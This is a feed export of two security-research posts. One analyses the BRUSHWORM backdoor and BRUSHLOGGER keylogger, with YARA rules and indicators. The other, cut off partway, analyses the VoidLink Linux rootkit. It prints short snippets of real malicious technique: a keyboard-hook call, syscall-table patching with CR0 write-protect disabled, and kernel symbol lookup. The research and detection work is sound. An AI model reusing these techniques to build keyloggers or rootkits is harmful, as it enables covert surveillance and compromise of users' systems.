<p>The malware begins execution with a series of environment checks designed to detect analysis environments, though the techniques are straightforward and lack sophistication.</p>
<p><strong>Screen resolution check:</strong> If the display resolution is less than 1024×768 pixels, execution terminates immediately. This is a common sandbox detection technique.</p>
<p><strong>Username and computer name check:</strong> The malware checks whether the machine's username or the computer name is “<code>sandbox</code>”. If either condition matches, it terminates. These checks target the default name commonly used in analysis sandboxes.</p>
<p><strong>Hypervisor detection:</strong> Using the <code>CPUID</code> instruction, the malware queries the hypervisor vendor string and compares it against the following known virtualization platforms:</p>
<table>
<thead>
<tr>
<th>Hypervisor Vendor String</th>
<th>Platform</th>
</tr>
</thead>
<tbody>
<tr>
<td><code>VMWAREVMWARE</code></td>
<td>VMware</td>
</tr>
<tr>
<td><code>KVMKVMKVM</code></td>
<td>KVM</td>
</tr>
<tr>
<td><code>XENVMMXENVMM</code></td>
<td>Xen</td>
</tr>
<tr>
<td><code>PRL HYPERV</code></td>
<td>Parallels</td>
</tr>
<tr>
<td><code>TCGTCGTCGTCG</code></td>
<td>QEMU (TCG)</td>
</tr>
<tr>
<td><code>ACRNACRNACRN</code></td>
<td>ACRN</td>
</tr>
<tr>
<td><code>MICROSOFT HV</code></td>
<td>Hyper-V</td>
</tr>
</tbody>
</table>
<p>If a hypervisor is detected, the malware does not terminate — it merely sleeps for one second before continuing execution.</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/brushworm-targets-financial-services/image14.png" alt="Hypervisor vendor string comparison using the CPUID instruction" title="Hypervisor vendor string comparison using the CPUID instruction" /></p>
<p><strong>Mouse activity check:</strong> After the initial setup, the malware monitors mouse movement for 5 minutes. If the cursor does not move during this period, execution terminates. This acts as an additional sandbox evasion measure.</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/brushworm-targets-financial-services/image7.png" alt="Mouse movement monitoring over a 5-minute window" title="Mouse movement monitoring over a 5-minute window" /></p>
<h3>Installation and directory setup</h3>
<p>On first execution, the malware creates multiple hidden directories with hardcoded paths. These directories serve distinct roles throughout the malware's lifecycle:</p>
<table>
<thead>
<tr>
<th>Directory</th>
<th>Purpose</th>
</tr>
</thead>
<tbody>
<tr>
<td><code>C:\ProgramData\Photoes\Pics\</code></td>
<td>Main installation folder for the backdoor binary</td>
</tr>
<tr>
<td><code>C:\Users\Public\Libraries\</code></td>
<td>Storage for downloaded modules from the C2 server (e.g., <code>Recorder.dll</code>)</td>
</tr>
<tr>
<td><code>C:\Users\Public\AppData\Roaming\Microsoft\Vault\</code></td>
<td>Storage of the encrypted configuration file (<code>keyE.dat</code>)</td>
</tr>
<tr>
<td><code>C:\Users\Public\Systeminfo\</code></td>
<td>Staging directory for stolen files</td>
</tr>
<tr>
<td><code>C:\Users\Public\AppData\Roaming\NuGet\</code></td>
<td>Tracks exfiltrated file paths with their SHA-256 hashes (<code>hashconfig</code>)</td>
</tr>
</tbody>
</table>
<p>The misspelling &quot;Photoes&quot; (instead of &quot;Photos&quot;) is consistent across both the backdoor and keylogger components and appears to be an authentic mistake by the author to blend with the other user’s media directories.</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/brushworm-targets-financial-services/image4.png" alt="The malware checks whether the installation directory already exists" title="The malware checks whether the installation directory already exists" /></p>
<h3>Configuration decryption</h3>
<p>The backdoor's configuration is stored as a JSON structure with field values encrypted using AES-CBC. The AES key is hardcoded in the binary, while the initialization vector (IV) is prepended to each encrypted field's data blob.</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/brushworm-targets-financial-services/image10.png" alt="AES-CBC decryption of configuration fields with a hardcoded key and an embedded IV" title="AES-CBC decryption of configuration fields with a hardcoded key and an embedded IV" /></p>
<p>The decrypted configuration follows this structure:</p>
<pre><code class="language-json">{
  &quot;internetCheckDomain&quot;: &quot;&lt;...&gt;&quot;,
  &quot;downloadDomain&quot;: &quot;&lt;...&gt;&quot;,
  &quot;retryCount&quot;: 0
}
</code></pre>
<p>This configuration is not referenced anywhere in the malware's operational logic. The C2 server address that the backdoor actually communicates with is a separate C++ global string variable stored in cleartext(<code>resources.dawnnewsisl[.]com/updtdll</code>), which is passed directly to the function responsible for C2 communication and payload downloads.<br />
<img src="https://www.elastic.co/fr/security-labs/assets/images/brushworm-targets-financial-services/image11.png" alt="Download_payload function call" title="Download_payload function call" /></p>
<p>The decrypted configuration fields (<code>internetCheckDomain</code>, <code>downloadDomain</code>, <code>retryCount</code>) go entirely unused in this build. This configuration is likely intended for a future version, a separate payload component, or was simply disabled in the deployed build, reinforcing the impression of a codebase under active, disorganized development.</p>
<h3>Persistence</h3>
<p>The malware establishes persistence by creating a Windows scheduled task named <code>MSGraphics</code> through the COM Task Scheduler interface. The task is configured to execute the malware binary each time a user logs in, ensuring the backdoor survives system reboots.</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/brushworm-targets-financial-services/image1.png" alt="Persistence was established through a COM-based scheduled task named MSGraphics" title="Persistence was established through a COM-based scheduled task named MSGraphics" /></p>
<h3>Payload download and execution</h3>
<p>The backdoor uses the WinHTTP library to issue a <code>GET</code> request to the C2 server at the URI <code>/updtdll</code> to download a DLL payload. The downloaded binary is written to <code>C:\Users\Public\Libraries\</code> as <code>Recorder.dll</code>.</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/brushworm-targets-financial-services/image3.png" alt="WinHTTP GET request to /updtdll to fetch the DLL payload" title="WinHTTP GET request to /updtdll to fetch the DLL payload" /></p>
<p>We were unable to recover the downloaded payload during our investigation, but the naming convention and execution method suggest it is a modular plugin — likely providing additional post-exploitation capabilities such as screen recording or data exfiltration.</p>
<p>The downloaded DLL is executed by creating a second scheduled task named MSRecorder that uses <code>rundll32.exe</code> to load and run it. This mirrors the same COM-based scheduled task creation method used for persistence.</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/brushworm-targets-financial-services/image13.png" alt="" /></p>
<p>The C2 server's SSL certificate is issued by Let's Encrypt.</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/brushworm-targets-financial-services/image6.png" alt="Let's Encrypt SSL certificate used by the C2 server" title="Let's Encrypt SSL certificate used by the C2 server" /></p>
<h3>USB spreading and file theft</h3>
<p>Once <strong>BRUSHWORM</strong> detects that the host is already infected (by checking for the presence of the installation directory), its behavior diverges based on internet connectivity. The malware performs a connectivity check by attempting to reach <code>www.google.com</code>.</p>
<h4>Scenario 1 — Internet access available:</h4>
<p>The malware spawns two threads targeting external storage devices:</p>
<ol>
<li><strong>Removable drive infection:</strong> The backdoor copies itself to any connected removable storage devices using socially-engineered filenames designed to entice victims in a corporate financial environment:
<ul>
<li><code>Salary Slips.exe</code></li>
<li><code>Notes.exe</code></li>
<li><code>Documents.exe</code></li>
<li><code>Important.exe</code></li>
<li><code>Dont Delete.exe</code></li>
<li><code>Presentation.exe</code></li>
<li><code>Emails.exe</code></li>
<li><code>Attachments.exe</code></li>
</ul>
</li>
<li><strong>File theft from removable and optical drives:</strong> Both threads enumerate files on the connected media and exfiltrate to a folder any file matching a broad set of targeted extensions:</li>
</ol>
<table>
<thead>
<tr>
<th>Category</th>
<th>Extensions</th>
</tr>
</thead>
<tbody>
<tr>
<td>Documents &amp; Word Processing</td>
<td><code>.doc</code>, <code>.docx</code>, <code>.dot</code>, <code>.dotx</code>, <code>.wps</code>, <code>.wpd</code>, <code>.wp</code>, <code>.rtf</code>, <code>.txt</code>, <code>.odt</code>, <code>.ott</code>, <code>.pages</code></td>
</tr>
<tr>
<td>Spreadsheets</td>
<td><code>.xls</code>, <code>.xlsx</code>, <code>.xlsm</code>, <code>.xlt</code>, <code>.xltx</code>, <code>.xlw</code>, <code>.ods</code>, <code>.ots</code>, <code>.csv</code>, <code>.tsv</code>, <code>.dbf</code>, <code>.wk1</code>, <code>.wk3</code>, <code>.wk4</code>, <code>.123</code></td>
</tr>
<tr>
<td>Presentations</td>
<td><code>.ppt</code>, <code>.pptx</code>, <code>.pot</code>, <code>.potx</code>, <code>.pps</code>, <code>.ppsx</code>, <code>.odp</code>, <code>.otp</code>, <code>.key</code>, <code>.sxi</code></td>
</tr>
<tr>
<td>Portable &amp; Layout</td>
<td><code>.pdf</code>, <code>.xps</code>, <code>.epub</code>, <code>.mobi</code>, <code>.ps</code>, <code>.prn</code>, <code>.tex</code>, <code>.latex</code>, <code>.pub</code>, <code>.p65</code>, <code>.fm</code></td>
</tr>
<tr>
<td>Archives &amp; Disk Images</td>
<td><code>.zip</code>, <code>.rar</code>, <code>.7z</code>, <code>.tar</code>, <code>.gz</code>, <code>.bz2</code>, <code>.xz</code>, <code>.iso</code>, <code>.cab</code>, <code>.arj</code>, <code>.lzh</code>, <code>.lha</code>, <code>.tgz</code>, <code>.tbz</code>, <code>.txz</code></td>
</tr>
<tr>
<td>Email &amp; Notes</td>
<td><code>.pst</code>, <code>.ost</code>, <code>.msg</code>, <code>.eml</code>, <code>.emlx</code>, <code>.mbox</code>, <code>.mbx</code>, <code>.maildir</code>, <code>.one</code></td>
</tr>
<tr>
<td>Code &amp; Data</td>
<td><code>.py</code>, <code>.md</code>, <code>.xml</code>, <code>.json</code></td>
</tr>
</tbody>
</table>
<p>Stolen files are staged in the <code>C:\Users\Public\Systeminfo\</code> directory. The malware also maintains a tracking file (<code>hashconfig</code>) at <code>C:\Users\Public\AppData\Roaming\NuGet\</code> that records each exfiltrated file's path alongside its SHA-256 hash, likely to avoid re-exfiltrating the same files on subsequent runs.</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/brushworm-targets-financial-services/image9.png" alt="Removable drive infection with lure filenames and file theft by extension" title="Removable drive infection with lure filenames and file theft by extension" /></p>
<h4>Scenario 2 — No internet access:</h4>
<p>If the internet connectivity check fails, the malware still infects removable drives with the same lure-named copies. However, in this scenario, it additionally copies stolen files and files from the user's profile directory (matching the same extension list) to the removable drives. This behavior serves as a data exfiltration bridge for <strong>environments with restricted or air-gapped network access</strong> — using USB drives to physically carry stolen data off the network.</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/brushworm-targets-financial-services/image12.png" alt="Offline mode: stolen files copied to removable drives for physical exfiltration" title="Offline mode: stolen files copied to removable drives for physical exfiltration" /></p>
<h2>BRUSHLOGGER code analysis</h2>
<p>The second component is a 32-bit Windows DLL (<code>4f1ea5ed6035e7c951e688bd9c2ec47a1e184a81e9ae783d4a0979501a1985cf</code>) designed for DLL side-loading. It masquerades as <code>libcurl.dll</code> by exporting seven standard <code>curl_easy_*</code> API functions, all of which are empty stubs pointing to a single <code>RET</code> instruction. The malicious functionality executes entirely from the <code>DllMain</code> entry point on <code>DLL_PROCESS_ATTACH</code>.</p>
<h3>Initialization</h3>
<p>At startup, the keylogger decodes a mutex name from a Base64-encoded string: “<code>Windows-Updates-KB852654856</code>”. The mutex name mimics a Windows Update knowledge base identifier. If <code>CreateMutexA</code> returns <code>ERROR_ALREADY_EXISTS</code>, the process terminates immediately to enforce single-instance execution.</p>
<p><strong>BRUSHLOGGER</strong> retrieves the current Windows username via <code>GetUserNameA</code>, computes its MD5 hash using the Windows CryptoAPI, and constructs the final log file path:</p>
<pre><code>C:\programdata\Photoes\&lt;username&gt;_&lt;MD5(username)&gt;.trn
</code></pre>
<p>The log file is initially created with <code>CreateFileA</code> using <code>CREATE_NEW</code>, then reopened with <code>FILE_APPEND_DATA</code> access for append-mode writing throughout the session.</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/brushworm-targets-financial-services/image8.png" alt="Log file creation" title="Log file creation" /></p>
<h3>Hook installation and message pump</h3>
<p>After file setup, the keylogger installs a low-level keyboard hook:</p>
<pre><code class="language-c">SetWindowsHookExA(WH_KEYBOARD_LL, keyboard_hook_callback, NULL, 0);
</code></pre>
<p>The <code>WH_KEYBOARD_LL</code> hook type captures keyboard input system-wide across all threads and processes. The hook procedure runs in the context of the installing thread, requiring a standard Windows message pump (<code>GetMessageA</code> / <code>TranslateMessage</code> / <code>DispatchMessageA</code>) to keep the hook alive.</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/brushworm-targets-financial-services/image2.png" alt="Keyboard hook installation and message pump" title="Keyboard hook installation and message pump" /></p>
<h3>Keystroke capture logic</h3>
<p>The core capture logic resides in the hook callback, which processes every keyboard event in the system.</p>
<p>For each keystroke event, the callback:</p>
<ol>
<li>Retrieves the foreground window handle via <code>GetForegroundWindow</code></li>
<li>Allocates memory via <code>VirtualAlloc</code> for the window title</li>
<li>Captures the current timestamp via <code>GetLocalTime</code>, formatted as <code>DD-MM-YYYY HH:MM</code></li>
<li>Retrieves the window title bar text via <code>GetWindowTextA</code></li>
</ol>
<p>When the foreground window changes, a context marker is appended to the keystroke buffer:</p>
<pre><code>\n&lt;timestamp&gt; &lt;window title&gt;\n
</code></pre>
<p><strong>Keystroke encoding:</strong> The callback processes <code>WM_KEYDOWN</code>, <code>WM_SYSKEYDOWN</code>, <code>WM_KEYUP</code>, and <code>WM_SYSKEYUP</code> messages. Each keystroke is logged as a two-digit hexadecimal virtual key.</p>
<h3>XOR-encrypted log files</h3>
<p>The flush routine copies the keystroke buffer to a local stack buffer, XOR-encrypts each byte with a hardcoded single-byte key <code>0x43</code>, and writes the result to the log file via <code>WriteFile</code>. After a successful write, the global buffer is cleared.</p>
<p>The XOR key <code>0x43</code> is trivially reversible — the encryption serves only as basic obfuscation rather than meaningful cryptographic protection.</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/brushworm-targets-financial-services/image5.png" alt="XOR decrypting a keylogger file with the byte 0x43" title="XOR decrypting a keylogger file with the byte 0x43" /></p>
<h2>Conclusion</h2>
<p>Despite their low sophistication and multiple implementation flaws, these two binaries deliver a functional collection platform that combines modular payload loading, USB worm propagation, broad file theft with air-gap bridging, and persistent keystroke capture via DLL side-loading. The iterative testing versions and active C2 infrastructure suggest an actor still refining their toolset. Elastic Security Labs will continue monitoring this activity cluster.</p>
<h2>BRUSHLOGGER, BRUSHWORM, and MITRE ATT&amp;CK</h2>
<p>Elastic uses the <a href="https://attack.mitre.org/">MITRE ATT&amp;CK</a> framework to document common tactics, techniques, and procedures that advanced persistent threats use against enterprise networks.</p>
<h3>Tactics</h3>
<p>Tactics represent the why of a technique or sub-technique. It is the adversary’s tactical goal: the reason for performing an action.</p>
<ul>
<li><a href="https://attack.mitre.org/tactics/TA0002/">Execution</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0003/">Persistence</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0005/">Defense Evasion</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0006/">Credential Access</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0007/">Discovery</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0008/">Lateral Movement</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0009/">Collection</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0010/">Exfiltration</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0011/">Command and Control</a></li>
</ul>
<h3>Techniques</h3>
<p>Techniques represent how an adversary achieves a tactical goal by performing an action.</p>
<ul>
<li><a href="https://attack.mitre.org/techniques/T1053/005/">Scheduled Task/Job: Scheduled Task</a></li>
<li><a href="https://attack.mitre.org/techniques/T1574/002/">Hijack Execution Flow: DLL Side-Loading</a></li>
<li><a href="https://attack.mitre.org/techniques/T1056/001/">Input Capture: Keylogging</a></li>
<li><a href="https://attack.mitre.org/techniques/T1027/">Obfuscated Files or Information</a></li>
<li><a href="https://attack.mitre.org/techniques/T1140/">Deobfuscate/Decode Files or Information</a></li>
<li><a href="https://attack.mitre.org/techniques/T1497/001/">Virtualization/Sandbox Evasion: System Checks</a></li>
<li><a href="https://attack.mitre.org/techniques/T1074/001/">Data Staged: Local Data Staging</a></li>
<li><a href="https://attack.mitre.org/techniques/T1091/">Replication Through Removable Media</a></li>
<li><a href="https://attack.mitre.org/techniques/T1119/">Automated Collection</a></li>
<li><a href="https://attack.mitre.org/techniques/T1025/">Data from Removable Media</a></li>
<li><a href="https://attack.mitre.org/techniques/T1010/">Application Window Discovery</a></li>
<li><a href="https://attack.mitre.org/techniques/T1105/">Ingress Tool Transfer</a></li>
<li><a href="https://attack.mitre.org/techniques/T1036/005/">Masquerading: Match Legitimate Name or Location</a></li>
</ul>
<h2>Detecting BRUSHLOGGER and BRUSHWORM</h2>
<h3>YARA</h3>
<p>Elastic Security has created YARA rules to identify this activity. Below are YARA rules to identify the BRUSHWORM and BRUSHLOGGER:</p>
<pre><code>rule Windows_Trojan_BrushLogger_304ee146 {
    meta:
        author = &quot;Elastic Security&quot;
        os = &quot;Windows&quot;
        arch = &quot;x86&quot;
        category_type = &quot;Trojan&quot;
        family = &quot;BrushLogger&quot;
        threat_name = &quot;Windows.Trojan.BrushLogger&quot;
        reference_sample = &quot;4f1ea5ed6035e7c951e688bd9c2ec47a1e184a81e9ae783d4a0979501a1985cf&quot;

    strings:
        $a = &quot;%02d-%02d-%d %02d:%02d &quot; fullword
        $b = { 81 ?? ?? A1 00 00 00 74 09 81 ?? ?? A0 00 00 00 75 09 6A 00 6A 10 E8 }
    condition:
        all of them
}

rule Windows_Trojan_BrushWorm_7c2098ef {
    meta:
        author = &quot;Elastic Security&quot;
        os = &quot;Windows&quot;
        arch = &quot;x86&quot;
        category_type = &quot;Trojan&quot;
        family = &quot;BrushWorm&quot;
        threat_name = &quot;Windows.Trojan.BrushWorm&quot;
        reference_sample = &quot;89891aa3867c1a57512d77e8e248d4a35dd32e99dcda0344a633be402df4a9a7&quot;

    strings:
        $a = &quot;internetCheckDomain&quot; wide fullword
        $b = { B8 00 00 00 40 33 C9 0F A2 48 8D ?? ?? ?? 89 07 89 5F 04 89 4F 08 89 57 0C 45 33 C0 }
    condition:
        all of them
}
</code></pre>
<h2>Observations</h2>
<p>The following observables were discussed in this research.</p>
<table>
<thead>
<tr>
<th align="left">Observable</th>
<th align="left">Type</th>
<th align="left">Name</th>
<th align="left">Reference</th>
</tr>
</thead>
<tbody>
<tr>
<td align="left"><code>89891aa3867c1a57512d77e8e248d4a35dd32e99dcda0344a633be402df4a9a7</code></td>
<td align="left">SHA-256</td>
<td align="left">paint.exe</td>
<td align="left">BRUSHWORM</td>
</tr>
<tr>
<td align="left"><code>4f1ea5ed6035e7c951e688bd9c2ec47a1e184a81e9ae783d4a0979501a1985cf</code></td>
<td align="left">SHA-256</td>
<td align="left">libcurl.dll</td>
<td align="left">BRUSHLOGGER</td>
</tr>
<tr>
<td align="left"><code>resources.dawnnewsisl[.]com/updtdll</code></td>
<td align="left">domain-name</td>
<td align="left"></td>
<td align="left">C2 server</td>
</tr>
</tbody>
</table>
]]></content:encoded>
            <category>security-labs</category>
            <enclosure url="https://www.elastic.co/fr/security-labs/assets/images/brushworm-targets-financial-services/brushworm-targets-financial-services.webp" length="0" type="image/webp"/>
        </item>
        <item>
            <title><![CDATA[Illuminating VoidLink: Technical analysis of the VoidLink rootkit framework]]></title>
            <link>https://www.elastic.co/fr/security-labs/illuminating-voidlink</link>
            <guid>illuminating-voidlink</guid>
            <pubDate>Thu, 26 Mar 2026 00:00:00 GMT</pubDate>
            <description><![CDATA[Elastic Security Labs analyzes VoidLink, a sophisticated Linux malware framework that combines traditional Loadable Kernel Modules with eBPF to maintain persistence.]]></description>
            <content:encoded><![CDATA[<h2>Introduction</h2>
<p>During a recent investigation, we came across a data dump containing source code, compiled binaries, and deployment scripts for the kernel rootkit components of <a href="https://research.checkpoint.com/2026/voidlink-the-cloud-native-malware-framework/">VoidLink</a>, a cloud-native Linux malware framework first documented by Check Point Research in January 2026. Check Point's analysis revealed VoidLink to be a sophisticated, modular command-and-control framework written in Zig, featuring cloud-environment detection, a plugin ecosystem of over 30 modules, and multiple rootkit capabilities spanning userland rootkits (<code>LD_PRELOAD</code>), Loadable Kernel Modules (LKMs), and eBPF. In a <a href="https://research.checkpoint.com/2026/voidlink-early-ai-generated-malware-framework/">follow-up publication</a>, Check Point presented compelling evidence that VoidLink was developed almost entirely through AI-assisted workflows using the TRAE integrated development environment (IDE), with a single developer producing the framework, from concept to functional implant, in under a week.</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/illuminating-voidlink/image1.png" alt="Data dump" title="Terminal view showing a directory listing, with mixed files, scripts, archives, and binaries, used to illustrate the structure and complexity of raw data dumps." /></p>
<p>The data dump we obtained, which we attribute to the same Chinese-speaking threat actor, based on matching Simplified Chinese source comments and Alibaba Cloud infrastructure, contained the raw development history of VoidLink's rootkit subsystem. What Check Point described as a deployable stealth module, selected dynamically based on the target kernel version, was laid bare in our data dump as a multigenerational rootkit framework that had been actively developed, tested, and iterated across real targets, spanning CentOS 7 through Ubuntu 22.04.</p>
<p>The rootkit components masquerade under the module name <code>vl_stealth</code> (or, in some variants, <code>amd_mem_encrypt</code>), consistent with the kernel-level concealment capabilities described in Check Point's analysis. Their architecture immediately stood out: Rather than relying on a single technique, the rootkit combines a traditional LKM with eBPF programs in a hybrid design that we’ve rarely encountered in the wild. The LKM handles deep kernel manipulation, syscall hooking via ftrace, and an Internet Control Message Protocol–based (ICMP-based) covert command channel, while a companion eBPF program takes over the delicate task of hiding network connections from the <code>ss</code> utility by manipulating Netlink socket responses in userspace memory.</p>
<p>Across the data, we identified at least four distinct generations of VoidLink, each one refining its hooking strategy, evasion techniques, and operational stability. The earliest variant targeted CentOS 7 with direct syscall table patching. The most recent variant, which the developers dubbed &quot;Ultimate Stealth v5&quot; in their comments, introduces delayed hook installation, anti-debugging timers, process kill protection, and XOR-obfuscated module names.</p>
<p>Check Point's second publication already established that VoidLink was developed through AI-driven workflows. The rootkit source code we analyzed corroborates and extends this finding: The source files are littered with phased refactoring annotations, tutorial-style comments that explain basic kernel concepts, and iterative version numbering patterns that closely mirror multi-turn AI conversations. Where Check Point observed the macro-level development methodology (sprint planning, specification-driven development), our data dump reveals the micro-level reality of how individual rootkit components were iteratively prompted, tested, and refined.</p>
<p>In this research publication, we walk through the rootkit's architecture, trace its evolution across four generations, dissect its most technically interesting features, and provide actionable detection strategies. All Chinese source comments referenced in this analysis have been translated into English.</p>
<h2>Discovery and initial triage</h2>
<p>At first glance, the sheer volume of files, many with iterative version numbers, like <code>hide_ss_v3.bpf.c</code> through <code>hide_ss_v9.bpf.c</code>, suggested an active development effort rather than a one-off project. The presence of compiled <code>.ko</code> files for specific kernel versions, alongside three separate copies of <code>vmlinux.h</code> BPF Type Format (BTF) headers, confirmed that this code had been built and tested on real systems.</p>
<p>After sorting through the dump, we identified seven logical groupings. Three stand-alone LKM variants in the root directory targeted different kernel generations: <code>stealth_centos7_v2.c</code> (1,148 lines, targeting CentOS 7's kernel 3.10), <code>stealth_kernel5x.c</code> (767 lines, targeting kernel 5.x), and <code>stealth_v5.c</code> (876 lines, the &quot;Ultimate Stealth&quot; variant with delayed initialization). Two production directories, <code>kernel5x_new/</code> and <code>lkm_5x/</code>, contained polished variants with module parameters, eBPF companions, and versioned ICMP control scripts. An <code>ebpf_test/</code> directory contained 10 sequential iterations of ss-hiding eBPF programs and six versions of process-hiding programs, each building on the last, providing a clear record of iterative development. Finally, <code>load_lkm.sh</code> provided boot-time persistence with a particularly interesting feature: It scanned <code>/proc/*/exe</code> for processes running from <code>memfd</code> file descriptors, a telltale sign of fileless implants.</p>
<p>Every source file was annotated entirely in Simplified Chinese. The comments ranged from straightforward function descriptions to detailed phase-numbered fix annotations. For example, the CentOS 7 variant's header contained a structured changelog that mapped perfectly to five development phases, translated here:</p>
<pre><code class="language-text">Phase 1: Security/logic vulnerabilities - bounds checking, UDP ports, memory leaks, byte order
Phase 2: Stealth enhancements - ICMP randomization, /proc/modules, kprobe hiding, log cleanup
Phase 3: Compatibility - dynamic symbol lookup, struct offsets, IPv6, kernel version adaptation
Phase 4: Stability - maxactive, RCU protection, priority, error handling
Phase 5: Defense mechanisms - anti-debugging, self-destruct, dynamic configuration
</code></pre>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/illuminating-voidlink/image2.png" alt="CentOS rootkit header" title="Source code header showing version and fix notes for a CentOS 7 stealth rootkit." /></p>
<p>Individual fixes throughout the code were tagged with identifiers like <code>[1.1]</code>, <code>[2.1]</code>, <code>[3.3]</code>, and <code>[5.2]</code>, each corresponding to a specific phase and fix number. We’ll return to the significance of this annotation pattern later, as it provides compelling evidence about the rootkit's development methodology.</p>
<p>The operator scripts revealed real infrastructure. The <code>icmp_ctl.py</code> usage examples referenced two Alibaba Cloud IP addresses, <code>8.149.128[.]10</code> and <code>116.62.172[.]147</code>, indicating that VoidLink was being used operationally against targets accessible from Chinese cloud infrastructure. The <code>load_lkm.sh</code> boot script hard-codes a path to <code>/root/kernel5x_new/vl_stealth.ko</code> and configures port <code>8080</code> to be hidden by default, further suggesting active deployment.</p>
<h2>Architecture: A hybrid approach</h2>
<p>What makes VoidLink architecturally notable is its two-component design. Most Linux rootkits rely on a single mechanism for hiding, whether that’s an LKM hooking syscalls, an eBPF program attached to tracepoints, or a shared object injected via <code>LD_PRELOAD</code>. VoidLink uses both an LKM and an eBPF program, each handling the task for which it is best suited. This hybrid approach is rarely seen in the wild and reflects a deliberate engineering decision.</p>
<p>The LKM component, which masquerades under the module name <code>vl_stealth</code> (or, in some variants, <code>amd_mem_encrypt</code>), is the backbone of the rootkit. It handles tasks that require deep kernel access: process hiding via <code>getdents64</code> syscall hooking, file and module trace removal via <code>vfs_read</code> filtering, network connection hiding via <code>seq_show</code> kretprobes, and the ICMP-based command-and-control channel via Netfilter hooks. These operations require manipulating kernel-internal data structures and intercepting kernel functions at a level that only a loaded kernel module can achieve.</p>
<p>The eBPF component handles a single but critical task: hiding network connections from the <code>ss</code> utility. The <code>ss</code> command doesn’t read from <code>/proc/net/tcp</code> as <code>netstat</code> does. Instead, it uses Netlink sockets with the <code>SOCK_DIAG_BY_FAMILY</code> protocol to query the kernel's socket diagnostic interface directly. This means that the kretprobe technique used to hide connections from <code>netstat</code>, which works by rolling back the <code>seq_file</code> output counter, has no effect on <code>ss</code>.</p>
<p>The developers initially attempted to hide connections from <code>ss</code> using a kretprobe on <code>inet_sk_diag_fill</code>, returning <code>-EAGAIN</code> to suppress individual entries. A comment in the source code, translated from Chinese, explains why they abandoned this approach: &quot;ss command hiding implemented by eBPF module (more stable)&quot;. The kretprobe method caused kernel instability, likely because <code>inet_sk_diag_fill</code> is called deep within the Netlink socket processing path, and returning an error code there could corrupt the response chain.</p>
<p>The eBPF solution is elegant. It hooks <code>__sys_recvmsg</code> using a kprobe at the entry point and a kretprobe at the return point. On entry, it captures the userspace receive buffer address from the <code>msghdr</code> structure. On return, it walks the chain of <code>nlmsghdr</code> structures in that buffer, checking each <code>SOCK_DIAG_BY_FAMILY</code> message for hidden source or destination ports. When it finds a match, rather than removing the entry (which would corrupt the Netlink message chain), it extends the previous message's <code>nlmsg_len</code> field to absorb the hidden entry. The <code>ss</code> parser then treats the hidden entry as padding within the previous message and silently skips it. This &quot;swallowing&quot; technique, implemented through <code>bpf_probe_write_user</code>, is a creative abuse of a BPF helper originally intended for debugging.</p>
<h2>Version evolution</h2>
<p>VoidLink evolved through at least four generations, each one adapting to newer kernel defenses while expanding the rootkit's capabilities. Tracing this evolution reveals not only the technical challenges the developers faced but also the iterative problem-solving approach, likely aided by a large language model (LLM) that defines this rootkit's development history.</p>
<h3>Generation 1: The CentOS 7 foundation</h3>
<p>The earliest variant, <code>stealth_centos7_v2.c</code>, targets CentOS 7 and its venerable 3.10 kernel. At 1,148 lines, it’s the longest file and contains the most extensive comments. This variant uses the oldest and most straightforward hooking technique available to LKM rootkits: direct modification of the syscall table.</p>
<p>On kernel 3.10, <code>kallsyms_lookup_name()</code> is still exported as a public kernel symbol, so locating the <code>sys_call_table</code> is trivial. The rootkit calls it directly to resolve function addresses. However, the kernel marks the syscall table as read-only, so modifying it requires temporarily disabling the processor's write protection bit in the <code>CR0</code> control register:</p>
<pre><code class="language-c">write_cr0(read_cr0() &amp; ~X86_CR0_WP);  // Disable write protection
sys_call_table[__NR_getdents64] = (unsigned long)hooked_getdents64;
sys_call_table[__NR_getdents] = (unsigned long)hooked_getdents;
write_cr0(read_cr0() | X86_CR0_WP);   // Re-enable write protection
</code></pre>
<p>This is a well-known technique with a long history in Linux rootkit development. More interestingly, how does the CentOS 7 variant handle GCC's interprocedural optimizations? When GCC inlines or clones functions, it renames them with suffixes like <code>.isra.0</code>, <code>.constprop.5</code>, or <code>.part.3</code>. This means a symbol like <code>tcp4_seq_show</code> might actually exist in the kernel as <code>tcp4_seq_show.isra.2</code>. VoidLink's <code>find_symbol_flexible()</code> function handles this by brute-forcing up to 20 variants of each suffix:</p>
<pre><code class="language-c">static unsigned long find_symbol_flexible(const char *base_name)
{
    unsigned long addr;
    char buf[128];
    int i;

    addr = kallsyms_lookup_name(base_name);
    if (addr) return addr;

    for (i = 0; i &lt;= 20; i++) {
        snprintf(buf, sizeof(buf), &quot;%s.isra.%d&quot;, base_name, i);
        addr = kallsyms_lookup_name(buf);
        if (addr) return addr;
    }

    for (i = 0; i &lt;= 20; i++) {
        snprintf(buf, sizeof(buf), &quot;%s.constprop.%d&quot;, base_name, i);
        addr = kallsyms_lookup_name(buf);
        if (addr) return addr;
    }

    return 0;
}
</code></pre>
<p>Anyone who has developed kernel modules for CentOS 7 will recognize the frustration of symbols being renamed by compiler optimizations. The fact that VoidLink handles this systematically, across <code>.isra</code>, <code>.constprop</code>, and <code>.part</code> suffixes, suggests the developers encountered this problem during real-world deployment.</p>
